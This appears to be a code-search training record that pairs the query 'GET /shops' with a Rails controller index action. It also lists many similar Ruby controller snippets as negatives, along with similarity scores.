"def format ary\n #buff = Array.new\n buff = Array.new(ary.size)\n return buff if ary.nil? || ary.size == 0\n\n # determine width based on number of files to show\n # if less than sz then 1 col and full width\n #\n # ix refers to the index in the complete file list, wherease we only show 60 at a time\n ix=0\n ctr=0\n pad = false\n pad = true if ary.size > 25\n ary.each do |f|\n ## ctr refers to the index in the column\n ind = get_shortcut(ix)\n ind = ind.ljust(2) if pad\n mark=SPACE\n cur=SPACE\n cur = CURMARK if ix + $sta == $cursor\n #mark=GMARK if $selected_files.index(ary[ix])\n # we are not doing selection here\n # but maybe today's articles can be starred\n age_in_hours = article_age_in_hours(f) \n mark=DOTMARK if age_in_hours < 24\n mark=GMARK if age_in_hours < 8\n\n if $long_listing\n begin\n f = get_long_list f\n rescue Exception => e\n #f = \"%10s %s %s\" % [\"?\", \"??????????\", f]\n end\n end\n\n s = \"#{ind}#{mark}#{cur}#{f}\"\n # I cannot color the current line since format does the chopping\n # so not only does the next lines alignment get skeweed, but also if the line is truncated\n # then the color overflows.\n #if ix + $sta == $cursor\n #s = \"#{RED}#{s}#{CLEAR}\"\n #end\n\n buff[ctr] = s\n\n ctr+=1\n ix+=1\n end\n return buff\nend",
"def to_file( f )\n buf = [@name, @sym, @value].pack(PFORMAT)\n f.write(buf)\n end",
"def parse_asm_format(fn)\n ctr = 0\n name = nil\n format = {}\n\n File.read(fn).each_line{|l|\n\n ctr += 1\n l.strip!\n\n next if (iscomment(l) || isblank(l))\n t = l.split\n\n if (t.size == 1)\n format[t[0]] = []\n elsif (t.size == 2)\n\n fmt = t[1]\n toks = fmt.strip.scan(/[a-z0-9]+|[ ,()]/)\n format[t[0]] = toks\n else\n raise \"error: format line #{ctr}\"\n end\n }\n\n return format\nend",
"def register_file_info(object, file = T.unsafe(nil), line = T.unsafe(nil), comments = T.unsafe(nil)); end",
"def header\n MAGIC + [VERSION].pack('n')\n end",
"def print_numbers\n @file.each do |line|\n number = clean_numbers(line[:homephone])\n puts number\n end\n\n end",
"def prepopulate(fh, archiveList, opts = {})\n opts = validate_opts(opts)\n aggregationType = AGGR_TYPES.index(opts[:aggregationMethod])\n oldest = archiveList.map{|spp, points| spp * points }.sort.last\n packedMetadata = [aggregationType, oldest, opts[:xff], archiveList.length].pack(METADATA_FMT)\n fh.write(packedMetadata)\n headerSize = METADATA_SIZE + (ARCHIVE_INFO_SIZE * archiveList.length)\n archiveOffsetPointer = headerSize\n archiveList.each do |spp, points|\n archiveInfo = [archiveOffsetPointer, spp, points].pack(ARCHIVE_INFO_FMT)\n fh.write(archiveInfo)\n archiveOffsetPointer += (points * POINT_SIZE)\n end\n\n if opts[:sparse]\n fh.seek(archiveOffsetPointer - headerSize - 1)\n fh.write(\"\\0\")\n else\n remaining = archiveOffsetPointer - headerSize\n zeroes = \"\\x00\" * CHUNK_SIZE\n while remaining > CHUNK_SIZE\n fh.write(zeroes)\n remaining -= CHUNK_SIZE\n end\n fh.write(zeroes[0..remaining])\n end\n\n fh.flush\n fh.fsync rescue nil\n fh\n end",
"def file_format\n file_formats.first.human if file_formats.first\n end",
"def formatPreprocessor(theLines)\n\n\talignEndifs(\t\ttheLines);\n\talignUndefineDefine(theLines);\n\talignDefineValue(\ttheLines);\n\talignContinuations(\ttheLines);\n\n\treturn theLines;\n\nend",
"def reformatFile(theArgs, theFile)\n\n\t# Get the state we need\n\toldContent = File.read(theFile);\n\toldCache = getContentCache(oldContent);\n\n\n\t# Reformat the file\n\t#\n\t# Our cache maintains the checksum of reformatted files.\n\t#\n\t# We assume that a file whose checksum exists in the cache\n\t# contains content that has already been reformatted.\n\tif (!File.exist?(oldCache))\n\t\t# Reformat the file\n\t\tnewContent = reformattedFile(theArgs, theFile);\n\t\tnewCache = getContentCache(newContent);\n\n\t\tif (newContent.empty? && !oldContent.empty?)\n\t\t\tputs \"Skipping #{theFile}, clang-format failed!\";\n\n\t\telse\n\t\t\t# Rewrite the file\n\t\t\tif (theArgs[:rewrite])\n\n\t\t\t\tif (newContent != oldContent || !File.exist?(newCache))\n\t\t\t\t\tputs \"Reformatted #{theFile}\";\n\t\t\t\t\tFile.write(theFile, newContent);\n\t\t\t\t\tFileUtils.mkdir_p( newCache);\n\t\t\t\tend\n\t\t\t\n\t\t\t\n\t\t\t# Or display it\n\t\t\telse\n\t\t\t\tputs newContent;\n\t\t\tend\n\t\tend\n\t\n\tend\n\nend",
"def parse_annotation_file filename\n lines = File.open(filename,'r').read.split(\"\\n\")\n puts lines.size\n bad_header = lines.shift.split(\"\\t\")\n header = %w'seq_id reciprocal_id reciprocal_rank sp_symbol sp_evalue sp_description pfam_ids go_ids'\n data = []\n lines.each do |line|\n fields = line.split(\"\\t\")\n fields = fields.collect {|f| (f == \"#N/A\") ? nil : f}\n d = Hash[header.zip(fields)]\n d['pfam_ids'] = (d['pfam_ids']) ? d['pfam_ids'].split(\";\") : []\n\n d['go_ids'] = (d['go_ids']) ? d['go_ids'].split(\";\") : []\n data << d\n end\n data\nend",
"def pbEachFileSection(f)\r\n pbEachFileSectionEx(f) { |section,name|\r\n yield section,name.to_i if block_given? && name[/^\\d+$/]\r\n }\r\n end",
"def store\n @files.each do |file, lines|\n text = \"\"\n dirty = false\n lines.each do |l|\n if l.is_a?(Section)\n dirty ||= l.dirty?\n text << l.format\n l.mark_clean\n else\n text << l\n end\n end\n if dirty\n Puppet::Util::FileType.filetype(:flat).new(file).write(text)\n return file\n end\n end\n end",
"def update_specfiles(version)\n spec_files.each do |spec_file|\n spec = File.read(spec_file)\n spec.gsub!(/^(\\s*)Version:(\\s*).*$/, \"\\\\1Version:\\\\2#{version}\")\n File.write(spec_file, spec)\n end\nend",
"def add_number(file, int)\n file << \"#{int},\"\nend",
"def formats=(extensions); end",
"def extract_magic_comments(processed_source); end",
"def format ary\n #buff = Array.new\n buff = Array.new(ary.size)\n return buff if ary.nil? || ary.size == 0\n\n # determine width based on number of files to show\n # if less than sz then 1 col and full width\n #\n # ix refers to the index in the complete file list, wherease we only show 60 at a time\n ix=0\n ctr=0\n ary.each do |f|\n ## ctr refers to the index in the column\n #ind=$IDX[ix]\n ind = get_shortcut(ix)\n mark=\" \"\n mark=\" * \" if $selected_files.index(ary[ix])\n\n if $long_listing\n begin\n unless File.exist? f\n last = f[-1]\n if last == \" \" || last == \"@\" || last == '*'\n stat = File.stat(f.chop)\n end\n else\n stat = File.stat(f)\n end\n f = \"%10s %s %s\" % [readable_file_size(stat.size,1), date_format(stat.mtime), f]\n rescue Exception => e\n f = \"%10s %s %s\" % [\"?\", \"??????????\", f]\n end\n end\n\n s = \"#{ind}#{mark}#{f}\"\n\n buff[ctr] = s\n\n ctr+=1\n ix+=1\n end\n return buff\nend",
"def splitByFile\n outfile = nil\n stream = open(@filename)\n until (stream.eof?)\n line = stream.readline\n\n # we need to create a new file\n if (line =~ /--- .*/) == 0\n if (outfile) \n outfile.close_write\n end\n #find filename\n tokens = line.split(\" \")\n tokens = tokens[1].split(\":\")\n tokens = tokens[0].split(\"/\")\n filename = tokens[-1]\n filename << \".patch\"\n if File.exists?(filename)\n puts \"File #{filename} already exists. Renaming patch.\"\n appendix = 0\n while File.exists?(\"#{filename}.#{appendix}\")\n appendix += 1\n end\n filename << \".#{appendix}\"\n end\n outfile = open(filename, \"w\")\n outfile.write(line)\n else\n if outfile\n outfile.write(line)\n end\n end\n end\n end",
"def diphot_metadata_to_h\n File.open(@qualified_filename, 'r') do |fd|\n diff = fd.readline.chomp\n reference = fd.readline.chomp\n @obj_metadata = { 'diff' => diff, 'reference' => reference }\n end\n end"
] |
[
"0.6281752",
"0.6070471",
"0.6070471",
"0.5853411",
"0.58094966",
"0.5755361",
"0.57475156",
"0.5623054",
"0.55696744",
"0.55370533",
"0.5481274",
"0.5449468",
"0.5421163",
"0.53226775",
"0.52861476",
"0.51784503",
"0.5133529",
"0.5104572",
"0.5101763",
"0.50919616",
"0.50752157",
"0.5065672",
"0.50292206",
"0.50178915",
"0.49978197",
"0.49642617",
"0.495636",
"0.49562034",
"0.49443355",
"0.49378544",
"0.49237165",
"0.49214894",
"0.49212956",
"0.49093908",
"0.49093908",
"0.49088725",
"0.49080765",
"0.48758194",
"0.48674682",
"0.48644584",
"0.48441917",
"0.48205113",
"0.48173246",
"0.48006848",
"0.4800438",
"0.48003826",
"0.47994363",
"0.47933117",
"0.47877616",
"0.47826055",
"0.4779195",
"0.4777925",
"0.4773016",
"0.47655573",
"0.47634083",
"0.47625872",
"0.47568893",
"0.47531503",
"0.47531503",
"0.47511163",
"0.47499183",
"0.47486025",
"0.4742893",
"0.47407413",
"0.4739701",
"0.47344536",
"0.4731164",
"0.47278577",
"0.47278577",
"0.4716874",
"0.4714105",
"0.4712671",
"0.4705856",
"0.4703091",
"0.46998507",
"0.4698361",
"0.46972707",
"0.4692731",
"0.46892408",
"0.46795383",
"0.46751183",
"0.46707103",
"0.46614447",
"0.46580318",
"0.4654012",
"0.46518442",
"0.46503887",
"0.46465954",
"0.46448052",
"0.4635786",
"0.4620481",
"0.46191865",
"0.46157676",
"0.46116012",
"0.46059838",
"0.4603796",
"0.460188",
"0.46009466",
"0.46002638",
"0.4598481"
] |
0.80021256
|
0
|
GET /shops/1 GET /shops/1.json
|
def show
@shop = Shop.find(params[:id])
@ave_review = Review.where(shop_id: @shop.id).average(:rate)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @shop = Shop.find(1)\n render :json => @shop\n return\n end",
"def index\n @workshops = Workshop.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workshops }\n end\n end",
"def shops\n render :nothing => true and return if params[:id].nil?\n \n if ( params[:meta] == 'tattoos' )\n @shop = Shop.find(params[:id], :include => :tattoos)\n render :json => @shop.tattoos.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end\n \n @shop = Shop.find(params[:id])\n render :json => @shop.to_json(:include => :assets)\n end",
"def show\n render json: @shop\n end",
"def index\n @shops = @shops.all\n end",
"def index\n @shops = Shop.all\n\n # render json: @shops\n\n completedShops = []\n\n @shops.each do |shop| \n completedShops << { shop: { created_at: shop.created_at, description: shop.description, id: shop.id, name: shop.name, logo: shop.logo, shopkeeper_id: shop.shopkeeper_id, products: shop.products } }\n end\n\n render json: completedShops\n\n end",
"def shop_url(params)\n @shop = Shop.find(params.id)\n render json: params\n end",
"def show\n @workshop = Workshop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workshop }\n end\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def show\n @shop_ose = ShopOse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_ose }\n end\n end",
"def show\n @shop = Wmall::Shop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop }\n end\n end",
"def index\n @q = params[:q]\n @q ||= \"\"\n @shops = Shop.search(@q).records\n\n\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render json: @shops, each_serializer: ShopListSerializer }\n end\n end",
"def show\n respond_to do |format|\n format.html { render action: 'show' }\n format.json { render json: @shop }\n end\n end",
"def index\n @shops = Shop.all\n @search = Shop.search(params[:q])\n @shops = @search.result.page(params[:page]).per(30)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shops }\n end\n\n end",
"def index\n @shop_sections = ShopSection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_sections }\n end\n end",
"def index\n @shops = @business_type.shops.all\n end",
"def index\n @coupons = Coupon.where('shop_id = ?', params[:shop_id])\n\n respond_to do |format|\n format.html { show_from_resource('index', 'shop_index') }\n format.json { render json: @coupons }\n end\n end",
"def show\n @shops = Barbershop.find(params[:id])\n\n end",
"def show\n @shop_item = @flat.shop_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_item }\n end\n end",
"def show\n @home_categories_products_indices_shop = Home::Categories::Products::Indices::Shop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_categories_products_indices_shop }\n end\n end",
"def index\n @shops = Shop.all\n\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def show \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workshop }\n end\n end",
"def index\n @workshops = Workshop.all\n end",
"def index\n @shoes = Shoe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shoes }\n end\n end",
"def show\n @shoppinglist = Shoppinglist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shoppinglist }\n end\n end",
"def get_shop\n @shop = Shop.find(params[:shop_id])\n end",
"def show\n render json: @shelter\n end",
"def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def index\n resource_params = {}\n resource_params[:f] = params[:f].to_json if params[:f].present?\n resource_params[:page] = params[:page].present? ? params[:page] : 1\n resource_params[:per] = params[:per].present? ? params[:per] : 12\n\n @shops = Shop.all(params: resource_params)\n\n @shops = Kaminari::PaginatableArray.new(@shops,{\n limit: @shops.http_response['X-limit'].to_i,\n offset: @shops.http_response['X-offset'].to_i,\n total_count: @shops.http_response['X-total'].to_i\n })\n\n @categories = Category.all\n @sheds = Shed.all\n @users = User.all(params: { f: { scopes: { role: :seller }, select: [:id, :name] }.to_json })\n end",
"def index\n @admin_workshops = Admin::Workshop::Workshop.all.paginate(page: params[:page])\n\n respond_to do |format|\n format.html\n format.json { render json: @admin_workshops.map { |i| { value: i.id, text: i.to_s } }, status: :ok }\n end\n end",
"def show\n render json: @service\n end",
"def show\n @shoe = Shoe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shoe }\n end\n end",
"def show\n @shop_purchase = Shop::Purchase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_purchase }\n end\n end",
"def show\n @shop = Shop.find(params[:id])\n breadcrumbs.add @shop.name,nil\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop }\n end\n end",
"def index\n @sales = Sale.all\n\n render json: @sales\n end",
"def show\n @shop = Shop.find(params[:id])\n @rates = @shop.rates.page(params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop }\n end\n end",
"def index\n @shops = if params[:user_id] || user_signed_in?\n Shop.where(user_id: params[:user_id] || current_user.id).page(params[:page])\n else\n Shop.all.page(params[:page])\n end\n end",
"def index\n\t\t@shops = current_user.shop_profiles\n\tend",
"def index\n return redirect_to shops_path\n end",
"def show\n @serviceorg = Serviceorg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serviceorg }\n end\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def index\n @shopdetails = Shopdetail.all\n end",
"def show\n @api_wmall_shop_activity = Api::Wmall::ShopActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_wmall_shop_activity }\n end\n end",
"def index\n @api_v1_stores = Store.all\n json_response(@api_v1_stores)\n end",
"def show\n @stock = Stock.find(params[:id])\n\n render json: @stock\n end",
"def index\n @operations = Operation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @operations }\n end\n end",
"def show\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @operation }\n end\n end",
"def show\n if params[:short_url]\n @shop_section = ShopSection.find_by_short_url(params[:short_url])\n else\n @shop_section = ShopSection.find(params[:id])\n end\n\n raise NotFound unless @shop_section\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_section }\n end\n end",
"def show\n @troop = Troop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @troop }\n end\n end",
"def show\n @shop = Shop.find(params[:id])\n @candies = @shop.candies\n @shelves = @shop.shelves\n end",
"def show\n @shop_photo = ShopPhoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_photo }\n end\n end",
"def index\n @sprintstories = Sprintstory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprintstories }\n end\n end",
"def shop\n return shops[0]\n end",
"def index\n @api_v1_shopping_lists = ShoppingList.all\n end",
"def show\n render json: @service_history\n end",
"def show\n @supermarket = Supermarket.find(params[:id])\n respond_to do |format|\n format.json { render json: @supermarket, status: :ok } \n end \n end",
"def index\n @api_v1_menus = Menu.all\n render json: @api_v1_menus\n end",
"def show\n render json: @sale\n end",
"def show\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale }\n end\n end",
"def show\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale }\n end\n end",
"def show\n @sprintstory = Sprintstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprintstory }\n end\n end",
"def show\n @stable = Stable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stable }\n end\n end",
"def index\n @stores = Store.all\n render json: @stores\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio }\n end\n end",
"def index\n @shopping_carts = ShoppingCart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shopping_carts }\n end\n end",
"def index\n @team = Team.find(params[:team_id])\n @sprints = @team.sprints.find(:all)\n\n respond_to do |format|\n format.html\n format.json\n end\n end",
"def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @socio }\n end\n end",
"def show\n render json: @promotion\n end",
"def show\n render json: @promotion\n end",
"def show\n @home_promotion = Home::Promotion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_promotion }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def index\n @store = Store.find(params[:store_id])\n @menus = @store.menus\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @menus }\n end\n end",
"def show\n render json: @product, status: 200\n end",
"def show\n @shop_transaction = Shop::Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_transaction }\n end\n end",
"def show\n \n @shop = Shop.find(params[:id])\n @json = @shop.to_gmaps4rails\n \n @reviews = Review.where(:shop_id => params[:id] )\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shop }\n end\n end",
"def index\n @opportunities = Opportunity.all\n\n render json: @opportunities\n end",
"def show\n @shopifyproduct = Shopifyproduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shopifyproduct }\n end\n end",
"def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end",
"def new\n @shop = Shop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop }\n end\n end",
"def new\n @shop = Shop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop }\n end\n end",
"def new\n @shop = Shop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop }\n end\n end",
"def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @socio }\n end\n end",
"def getShop\n @shop\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def show\n @store2product = Store2product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @store2product }\n end\n end",
"def show\n @shopping_area = ShoppingArea.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shopping_area }\n end\n end",
"def show\n @shout = Shout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shout }\n end\n end",
"def index\n @sales = @saleService.all_to_json().as_json;\n end",
"def show\n @sprint = Sprint.find(params[:id])\n @stat = Status.find(4)\n @stories = Story.where(\"status_id = ?\", @stat.id)\n @examples = @sprint.stories \n @project_id = @examples.first.project_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprint }\n end\n end",
"def show\n @shout = Shout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shout }\n end\n end",
"def index\n @supplysites = Supplysite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @supplysites }\n end\n end",
"def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end",
"def show\n render json: @opportunity\n end",
"def index\n @reviews = Review.where(shop_id: params[:shop_id])\n @shop = Shop.find(params[:shop_id])\n end"
] |
[
"0.7023943",
"0.6906654",
"0.6863234",
"0.67428267",
"0.6735511",
"0.6721623",
"0.669305",
"0.66567355",
"0.66534406",
"0.66534406",
"0.66534406",
"0.66534406",
"0.66534406",
"0.65839857",
"0.6559399",
"0.6482466",
"0.6448709",
"0.643932",
"0.64357466",
"0.63429004",
"0.63320714",
"0.631366",
"0.62554944",
"0.6233736",
"0.6199818",
"0.61960727",
"0.61840725",
"0.6168041",
"0.6162913",
"0.61339694",
"0.6128387",
"0.6121566",
"0.6117067",
"0.6107817",
"0.6105632",
"0.6091542",
"0.6085885",
"0.6043952",
"0.6041258",
"0.6033325",
"0.598931",
"0.5983008",
"0.5969764",
"0.59607613",
"0.5958986",
"0.59586906",
"0.5946944",
"0.59396595",
"0.59327155",
"0.59207594",
"0.590729",
"0.5894382",
"0.5885229",
"0.5880923",
"0.58744603",
"0.58711886",
"0.5866449",
"0.58624345",
"0.58545053",
"0.5831419",
"0.58300596",
"0.58292764",
"0.5825554",
"0.5804328",
"0.5804328",
"0.5804116",
"0.5798489",
"0.5794031",
"0.5788802",
"0.5785929",
"0.57739943",
"0.5773786",
"0.57627773",
"0.57627773",
"0.57578516",
"0.57459587",
"0.57459587",
"0.57459587",
"0.57343423",
"0.57292473",
"0.57290643",
"0.5726239",
"0.57175756",
"0.571585",
"0.5709622",
"0.57085",
"0.57085",
"0.57085",
"0.5708013",
"0.57057095",
"0.5695151",
"0.5694488",
"0.5692371",
"0.5690389",
"0.5689365",
"0.5688959",
"0.56889254",
"0.5687988",
"0.5685755",
"0.5684342",
"0.5683234"
] |
0.0
|
-1
|
GET /shops GET /shops.json
|
def index
@shops = Shop.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @shops = @shops.all\n end",
"def index\n @workshops = Workshop.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workshops }\n end\n end",
"def shops\n render :nothing => true and return if params[:id].nil?\n \n if ( params[:meta] == 'tattoos' )\n @shop = Shop.find(params[:id], :include => :tattoos)\n render :json => @shop.tattoos.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end\n \n @shop = Shop.find(params[:id])\n render :json => @shop.to_json(:include => :assets)\n end",
"def index\n @shops = Shop.all\n\n # render json: @shops\n\n completedShops = []\n\n @shops.each do |shop| \n completedShops << { shop: { created_at: shop.created_at, description: shop.description, id: shop.id, name: shop.name, logo: shop.logo, shopkeeper_id: shop.shopkeeper_id, products: shop.products } }\n end\n\n render json: completedShops\n\n end",
"def index\n @shop = Shop.find(1)\n render :json => @shop\n return\n end",
"def index\n @shops = Shop.all\n @search = Shop.search(params[:q])\n @shops = @search.result.page(params[:page]).per(30)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shops }\n end\n\n end",
"def show\n render json: @shop\n end",
"def index\n @shops = @business_type.shops.all\n end",
"def index\n @q = params[:q]\n @q ||= \"\"\n @shops = Shop.search(@q).records\n\n\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render json: @shops, each_serializer: ShopListSerializer }\n end\n end",
"def index\n @workshops = Workshop.all\n end",
"def shop_url(params)\n @shop = Shop.find(params.id)\n render json: params\n end",
"def index\n @shop_sections = ShopSection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_sections }\n end\n end",
"def show\n @workshop = Workshop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workshop }\n end\n end",
"def show\n @shop_ose = ShopOse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_ose }\n end\n end",
"def show\n @shops = Barbershop.find(params[:id])\n\n end",
"def index\n resource_params = {}\n resource_params[:f] = params[:f].to_json if params[:f].present?\n resource_params[:page] = params[:page].present? ? params[:page] : 1\n resource_params[:per] = params[:per].present? ? params[:per] : 12\n\n @shops = Shop.all(params: resource_params)\n\n @shops = Kaminari::PaginatableArray.new(@shops,{\n limit: @shops.http_response['X-limit'].to_i,\n offset: @shops.http_response['X-offset'].to_i,\n total_count: @shops.http_response['X-total'].to_i\n })\n\n @categories = Category.all\n @sheds = Shed.all\n @users = User.all(params: { f: { scopes: { role: :seller }, select: [:id, :name] }.to_json })\n end",
"def show\n respond_to do |format|\n format.html { render action: 'show' }\n format.json { render json: @shop }\n end\n end",
"def index\n\t\t@shops = current_user.shop_profiles\n\tend",
"def index\n @shops = if params[:user_id] || user_signed_in?\n Shop.where(user_id: params[:user_id] || current_user.id).page(params[:page])\n else\n Shop.all.page(params[:page])\n end\n end",
"def show\n @shop = Wmall::Shop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop }\n end\n end",
"def index\n @shops = Shop.all\n\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def index\n @coupons = Coupon.where('shop_id = ?', params[:shop_id])\n\n respond_to do |format|\n format.html { show_from_resource('index', 'shop_index') }\n format.json { render json: @coupons }\n end\n end",
"def index\n @admin_workshops = Admin::Workshop::Workshop.all.paginate(page: params[:page])\n\n respond_to do |format|\n format.html\n format.json { render json: @admin_workshops.map { |i| { value: i.id, text: i.to_s } }, status: :ok }\n end\n end",
"def index\n @apply_shops = ApplyShop.all\n end",
"def show \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workshop }\n end\n end",
"def show\n render json: @shelter\n end",
"def index\n return redirect_to shops_path\n end",
"def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end",
"def index\n @shoes = Shoe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shoes }\n end\n end",
"def index\n @shopdetails = Shopdetail.all\n end",
"def show\n @home_categories_products_indices_shop = Home::Categories::Products::Indices::Shop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_categories_products_indices_shop }\n end\n end",
"def index\n @sales = Sale.all\n\n render json: @sales\n end",
"def get_shop\n @shop = Shop.find(params[:shop_id])\n end",
"def show\n @shop = Shop.find(params[:id])\n @candies = @shop.candies\n @shelves = @shop.shelves\n end",
"def index\n @sprintstories = Sprintstory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprintstories }\n end\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def show\n @shop_item = @flat.shop_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_item }\n end\n end",
"def show\n @shoppinglist = Shoppinglist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shoppinglist }\n end\n end",
"def show\n @shop = Shop.find(params[:id])\n breadcrumbs.add @shop.name,nil\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop }\n end\n end",
"def show\n @shoe = Shoe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shoe }\n end\n end",
"def index\n @team = Team.find(params[:team_id])\n @sprints = @team.sprints.find(:all)\n\n respond_to do |format|\n format.html\n format.json\n end\n end",
"def index\n @stores = Store.all\n render json: @stores\n end",
"def index\n @bicycle_shops = BicycleShop.all\n end",
"def getShop\n @shop\n end",
